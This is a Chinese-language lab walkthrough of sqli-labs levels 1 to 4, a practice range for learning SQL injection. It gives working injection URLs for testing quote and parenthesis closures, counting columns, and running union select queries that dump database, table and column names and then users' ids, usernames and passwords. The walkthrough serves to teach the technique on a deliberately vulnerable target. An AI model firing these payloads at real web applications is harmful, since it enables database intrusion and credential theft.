Less-1 字符型
提示要输入id参数,试着在url中拼接id参数

构造Playlod的技巧:
当我们判断注入点时,要尝试闭合,可以用尝试故意报错了解闭合规则,在构造playlod
原则是白盒直接看源码怎么闭合,黑盒我们就利用注释和报错信息来猜测闭合
判断字符型注入还是数字型注入
判断数字型注入
http://sqli-labs/Less-1/?id=1 and 1=1 -+
正常回显

http://sqli-labs/Less-1/?id=1 and 1=2 -+
还是正常回显,说明不是数字型注入,因为如果是数字型注入的话,逻辑上and的左边和右边语句都要是true的才不会报错,但是这里1=2为false页面依旧回显正常。

判断字符型注入
http://sqli-labs/Less-1/?id=1'
这里报错显示,说明查询语句变成了select * from ...where id ='1'' LIMIT 0,1,为了消除后面的双引号就需要加注释符--+
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

http://sqli-labs/Less-1/?id=1' and 1=1 -+
正常回显

http://sqli-labs/Less-1/?id=1' and 1=2 -+
还是正常回显,这里就可以判断出是单引号闭合了,因为如果是单引号闭合这里的查询语句是select * from ... where id='1' and 1=2 --+',后面的单引号被注释掉了但是前面'1'已经完成了闭合。

判断回显位数
http://sqli-labs/Less-1/?id=1' order by 1--+

http://sqli-labs/Less-1/?id=1' order by 4--+
一直试到第四个才报错,说明回显位有3个

使用联合查询union select 判断回显位置
联合查询特性,union前面的语句为false后面才能执行
id=1’ union select 1,2,3 –-+ (没有反应,因为id=1执行了,后面的不会覆盖)id=-1’ union select 1,2,3 –-+ (id=-1,让前面的不执行)
发现2和3可以回显

查询数据库名
http://sqli-labs/Less-1/?id=id=-1' union select 1,database(),3--+

查询表名
http://sqli-labs/Less-1/?id=id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

2. GROUP_CONCAT()
SQL
group_concat(column_name)
作用: 将多行数据合并成一行,用逗号分隔
示例:
SQL
-- 假设表有3个字段:id, username, password-- 不用group_concat,只能看到一个字段名
SELECT column_name FROM information_schema.columns
WHERE table_name='users' LIMIT 1
-- 结果:id-- 用group_concat,一次性看到所有字段名
SELECT group_concat(column_name) FROM information_schema.columns
WHERE table_name='users'
-- 结果:id,username,password
3. FROM information_schema.columns
SQL
from information_schema.columns
作用: 从MySQL的系统数据库中查询列信息
information_schema是什么?
- MySQL的系统数据库(MySQL 5.0+自带)
- 存储了所有数据库的元数据信息
- 不需要特殊权限即可读取
information_schema.columns表结构:
Code
table_schema - 数据库名
table_name - 表名
column_name - 列名(字段名)
data_type - 数据类型
column_key - 是否主键
4. WHERE条件
SQL
where table_schema='数据库' and table_name='表名'
作用: 筛选特定数据库的特定表
详细说明:
<font style="color:rgb(31, 35, 40);background-color:rgba(129, 139, 152, 0.12);">table_schema='数据库'</font>- 指定哪个数据库- 例如:
<font style="color:rgb(31, 35, 40);background-color:rgba(129, 139, 152, 0.12);">table_schema='test_db'</font> - 如果要查当前数据库,用:
<font style="color:rgb(31, 35, 40);background-color:rgba(129, 139, 152, 0.12);">table_schema=database()</font>
- 例如:
<font style="color:rgb(31, 35, 40);background-color:rgba(129, 139, 152, 0.12);">table_name='表名'</font>- 指定哪个表- 例如:
<font style="color:rgb(31, 35, 40);background-color:rgba(129, 139, 152, 0.12);">table_name='users'</font> - 获取users表的所有字段名
- 例如:
实际使用示例:
SQL
-- 查询test_db数据库中users表的所有字段
where table_schema='test_db' and table_name='users'-- 查询当前数据库中users表的所有字段
where table_schema=database() and table_name='users'
查询列名
这里我查user表
http://sqli-labs/Less-1/?id=id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

查询字段名
http://sqli-labs/Less-1/?id=id=-1' union select 1,2,group_concat(id,username,password) from users--+

这里刚刚我报了个错,写了这样一个语句
http://sqli-labs/Less-1/?id=-1'union select 1,group_concat(id,username,password) from users,3--+
报错的原因在于我提前将查询结束了,union select 1,2,3 from ... 正确写法应该是下面代码,因为1,2,3都是要从users表里面查询的东西,你不能把2给查完就直接结束了
http://sqli-labs/Less-1/?id=-1'union select 1,group_concat(id,username,password),3 from users--+

Less-2 数字型
判断闭合
http://sqli-labs/Less-2/?id=1
正常回显

http://sqli-labs/Less-2/?id=1 and 1=1
正常回显

http://sqli-labs/Less-2/?id=1 and 1=2
报错了,说明是数字型注入,因为逻辑判断是有错误的,and语句不成立(1=2为false,1为true)

第二关就是数字型注入,后面联合注入的语句把id=1'改成id=1就可以

Less-3 ')闭合型
判断闭合
http://sqli-labs/Less-3/?id=1'
观察报错信息,说是mysql解析器解析到''1'') LIMIT 0,1'就出错了

那么接下来我们就慢慢分析原始查询语句是什么,1'是我们输入进去的,那么'$id') LIMIT 0,1就是原始查询语句所具有的,既然有右括号的话那必然是存在左括号进行闭合的,由此我们便可以推断出来出来原始查询语句是')闭合
既然已经判断出是什么闭合,那么我们就可以直接套用之前的联合查询步骤获得数据库信息
http://sqli-labs/Less-3/?id=-1%27)union%20select%201,group_concat(id,username,password),3%20from%20users--+

Less-4 ")闭合型
http://sqli-labs/Less-4/?id=1"
输入双引号会报错,依旧利用老思路判断闭合这一块,mysql解析器接收到的是'"1"") LIMIT 0,1' ,那么去掉我们输入的1",原始查询语句存在有"$id"),那么可以判断是")闭合

判断出闭合了那就好搞了,用之前的联合查询思路即可获得数据库信息
http://sqli-labs/Less-4/?id=-1%22)union%20select%201,group_concat(id,username,password),3%20from%20users--+
学习sql注入的基础靶场